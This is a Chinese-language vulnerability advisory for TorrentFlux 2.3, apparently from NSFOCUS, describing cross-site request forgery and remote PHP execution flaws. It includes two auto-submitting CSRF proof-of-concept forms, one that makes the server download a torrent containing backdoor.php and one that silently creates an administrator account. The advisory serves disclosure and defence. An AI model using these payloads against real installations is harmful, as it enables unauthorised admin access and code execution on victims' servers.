安全研究

安全漏洞
TorrentFlux跨站请求伪造及远程PHP脚本执行漏洞

发布日期:2008-04-18
更新日期:2008-04-21

受影响系统:
TorrentFlux TorrentFlux 2.3 final
描述:
BUGTRAQ  ID: 28846

TorrentFlux是使用PHP编写的BitTorrent下载客户端。如果架设在Web服务器上,便可以通过Web界面对BitTorrent下载进行管理。

TorrentFlux在处理下载文件的浏览时存在漏洞,远程攻击者可能利用此漏洞在用户系统上执行恶意代码。

如果用户受骗使用TorrentFlux下载了包含有backdoor.php文件的torrent的话,则在http://localhost/torrentflux_2.3/html/downloads/USER_NAME/ 查看该文件时就会导致执行该文件。无需口令便可以访问这个文件夹,但需要知道用户名。

<*来源:th3.r00k (th3.r00k@gmail.com
  
  链接:http://marc.info/?l=bugtraq&m=120853538803296&w=2
        http://secunia.com/advisories/29935/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<form id='file_attack' method="post" action="http://localhost/torrentflux_2.3/html/index.php">
<input type=hidden name="url_upload" value="http://localhost/backdoor.php.torrent">
<input type=submit value='file attack'>
</from>
<html>
<script>
document.getElementById('file_attack').submit();
</script>

<html>
Add an admistrative account:
<form id=’create_admin’ method=”post” action=”http://localhost/torrentflux_2.3/html/admin.php?op=addUser”>
<input type=hidden name=”newUser” value=”sadmin”>
<input type=hidden name=”pass1″ value=”password”>
<input type=hidden name=”pass2″ value=”password”>
<input type=hidden name=”userType” value=1>
<input type=submit value=’create admin’>
</form>
</html>
<script>
document.getElementById(’create_admin’).submit();
</script>

建议:
厂商补丁:

TorrentFlux
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.torrentflux.com/

浏览次数:3098
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障